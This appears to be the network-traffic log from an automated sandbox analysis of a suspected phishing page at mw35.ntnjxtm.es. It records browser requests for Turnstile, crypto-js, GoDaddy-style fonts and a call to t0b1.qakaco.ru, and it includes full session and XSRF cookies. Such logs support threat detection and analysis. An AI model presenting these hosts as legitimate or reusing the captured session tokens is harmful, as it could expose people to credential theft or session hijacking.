              Source: global trafficHTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=88dpLB.f8tej4VvJ0rtALhKjf4XOFIE2eQWEpzHNT8A-1742384403-1.0.1.1-1v0svtTdH_t.6AoP.kQ4mmfyBCZxiaIt93Dxic2R63p0ZGF6gkkjUhp2LDlMp_NuwKHWO_bOTNUxqbJ3FJeqFrGu_VbyDv.UbeCwb95lseI
              Source: global trafficHTTP traffic detected: GET /rand@zcnpdz HTTP/1.1Host: t0b1.qakaco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Origin: https://mw35.ntnjxtm.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /rand@zcnpdz HTTP/1.1Host: t0b1.qakaco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /7nMfbs/ HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://mw35.ntnjxtm.es/7nMfbs/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InVPVkU1ZGdaaERPQitBd0o5OFdydWc9PSIsInZhbHVlIjoicDBaL0tLQzFYVWtUdmNabnpReEZHaXgxMEQzVlc2TkFFcjJjci8zWFA5YkxvSDg0cmNIRDE1dFlUcHluRnllQTRvMjVlcXJDWmI1T3RyQnVPVEhmNzlzMnI2N1poNzgzNVh0MXhjR0h5UjRaTFFhZnI5Ky9NZFhlNnljanNIQ0YiLCJtYWMiOiI3MjY0N2JkZThhMDc2MmFhYTNhZWU2NGRjZDM4ZmI5ODA5YWQ3YjkwNGRlZjM5ZWJiNzgwNjcwMjJiYzJjNmVjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJGZnZDUVBWSi9rYjR4aThjU1RvY3c9PSIsInZhbHVlIjoiMDVXeUZra29Fc0YxS2FjQWFpRjhOOTZqSmlRVXNVQ2NmKzRwczZUeUhjT1M5QUhYaG9SODFHd0YyT0lXZWcxZlVPZWVrZ0cxanVlb3h1TVlUYnNIYlAyS3NZVWVyUk5oeWdnZkdWdDJDcW5mNWpnaTVEQlNXQWhVdnFOVVJ0MG4iLCJtYWMiOiIzMDBmODEwMWM2OWZiNGMyZDNjZTVlZWI2OThhNzMzNzgwZmNmODI0MzhkZWMxNzgxMmFlNDA3ZjYwZjRiY2ZhIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /sdcXTitdENnD8gVOs3yiHEik4vTZ7PC73o HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InVPVkU1ZGdaaERPQitBd0o5OFdydWc9PSIsInZhbHVlIjoicDBaL0tLQzFYVWtUdmNabnpReEZHaXgxMEQzVlc2TkFFcjJjci8zWFA5YkxvSDg0cmNIRDE1dFlUcHluRnllQTRvMjVlcXJDWmI1T3RyQnVPVEhmNzlzMnI2N1poNzgzNVh0MXhjR0h5UjRaTFFhZnI5Ky9NZFhlNnljanNIQ0YiLCJtYWMiOiI3MjY0N2JkZThhMDc2MmFhYTNhZWU2NGRjZDM4ZmI5ODA5YWQ3YjkwNGRlZjM5ZWJiNzgwNjcwMjJiYzJjNmVjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJGZnZDUVBWSi9rYjR4aThjU1RvY3c9PSIsInZhbHVlIjoiMDVXeUZra29Fc0YxS2FjQWFpRjhOOTZqSmlRVXNVQ2NmKzRwczZUeUhjT1M5QUhYaG9SODFHd0YyT0lXZWcxZlVPZWVrZ0cxanVlb3h1TVlUYnNIYlAyS3NZVWVyUk5oeWdnZkdWdDJDcW5mNWpnaTVEQlNXQWhVdnFOVVJ0MG4iLCJtYWMiOiIzMDBmODEwMWM2OWZiNGMyZDNjZTVlZWI2OThhNzMzNzgwZmNmODI0MzhkZWMxNzgxMmFlNDA3ZjYwZjRiY2ZhIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/7nMfbs/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImF2NVBoQW9XaFA4TER3MnhlSzFsNkE9PSIsInZhbHVlIjoiT21LYWR3RndybUlkNnFRTEY0M2lSUG9mTExaSlozR3lNeGY4S2JUUy9HeVBGYWJGdSt1cXJWY2F5c2Q3L1pWaVJkTThQNlBORnVYNEN0dFZSbTdoeWp0a3MwT25kMm9XeEtBa2l3ZG9GcFRnZTQzN0VvekZiV3JqZFhGNzd0WWEiLCJtYWMiOiI5MTI2NWEyNTZlMDVhNjkwMzI3OWZjMWQwZGFlMTIwOTZlZDFjN2IxZmJkOTZhNzAxOTM2OGJmNjFiMmEyZWYyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9IdDFZSjdpYmppVTNIUWttZTRieUE9PSIsInZhbHVlIjoiY1pkdVp0NzZjWTExTW1DbWhURkphR2ZFaWhraG9qbzVKS3RVTlNFMlRyOWxiVkVmU1dKUmxTanhvTlRzQkRsYTZ4eTZMaEc1WjJvWURuMWhnY3VpT0JEbTc2N2tld0dEWm92eGU0dG1iUW5razIvYktFS0RLbXhndXBERERVTXAiLCJtYWMiOiIzZTYyMTI5ODA1YjE4NmI5YmJlM2E0M2Y1ODYxZWFjMTRmMzk1Y2Y2NWEwYmJhN2RjNmY4YWVhOGVkMmU5ZDk2IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /zcVFFQFRy09OAwAeYHgrytkTl1phiz0akYpIJjy HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkM1VWVKVmdhSmkvS3hIUUVPUVUvb0E9PSIsInZhbHVlIjoiRXJ2cENhcWhXTGRhNXFLdEx3dkZMcGQvRm5ZLzBFVkY3Ulh0elFLZ3Q5cTBxZ1Y4Z3QxNU1COHhHNWJ4SG13eWJOVG1UVFo5Yjl4dk9QeFFYYnJZSlUvOHFmcFVhaDdrN1B3aTdsUzBLNUd4SW1LNkFCNndjS1Y1RWJUeDJtc1UiLCJtYWMiOiI4N2RkYWI0OWI3YTQ5OTM3NjZjN2JlNjgyYjIyYTFjODQyZjM5Mzg1YTcxMGViOTg3ZTQyZTBkNTFhNzgyNmI4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImROR0k4dDhRU2o4YUJucEVFMUxQK0E9PSIsInZhbHVlIjoicFFxeWpPWUZ4VFNQSGp6cEVIRnhxWXZJYVpaQVRzWWJhNnN1RnZ0eUlMUVpuNmhzeVhKRU5pVnpzNFJqQytlYVRvRy9YTzRtVDhOSGUvRlN4RG9aRm1sWXZ1UDZUcXVEQVpWN0N4d3lwTGd5YWY0dFFlTWljczRGdHAzQUdDeHQiLCJtYWMiOiIzNGEwMGI1ODYxYjEzNzY4MjQ5ZDYzMzA1ZjU0NGFjY2ZkODJiYTk2MjhhMjY4ZWMxMmJhODcwYmU3ODZkNGI2IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKF HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://mw35.ntnjxtm.es/7nMfbs/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkM1VWVKVmdhSmkvS3hIUUVPUVUvb0E9PSIsInZhbHVlIjoiRXJ2cENhcWhXTGRhNXFLdEx3dkZMcGQvRm5ZLzBFVkY3Ulh0elFLZ3Q5cTBxZ1Y4Z3QxNU1COHhHNWJ4SG13eWJOVG1UVFo5Yjl4dk9QeFFYYnJZSlUvOHFmcFVhaDdrN1B3aTdsUzBLNUd4SW1LNkFCNndjS1Y1RWJUeDJtc1UiLCJtYWMiOiI4N2RkYWI0OWI3YTQ5OTM3NjZjN2JlNjgyYjIyYTFjODQyZjM5Mzg1YTcxMGViOTg3ZTQyZTBkNTFhNzgyNmI4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImROR0k4dDhRU2o4YUJucEVFMUxQK0E9PSIsInZhbHVlIjoicFFxeWpPWUZ4VFNQSGp6cEVIRnhxWXZJYVpaQVRzWWJhNnN1RnZ0eUlMUVpuNmhzeVhKRU5pVnpzNFJqQytlYVRvRy9YTzRtVDhOSGUvRlN4RG9aRm1sWXZ1UDZUcXVEQVpWN0N4d3lwTGd5YWY0dFFlTWljczRGdHAzQUdDeHQiLCJtYWMiOiIzNGEwMGI1ODYxYjEzNzY4MjQ5ZDYzMzA1ZjU0NGFjY2ZkODJiYTk2MjhhMjY4ZWMxMmJhODcwYmU3ODZkNGI2IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /564uvmiPCGur0GOdabNtQkW6716 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /abLbTpRuzuZf0pqzEef26 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveOrigin: https://mw35.ntnjxtm.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveOrigin: https://mw35.ntnjxtm.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveOrigin: https://mw35.ntnjxtm.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveOrigin: https://mw35.ntnjxtm.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; 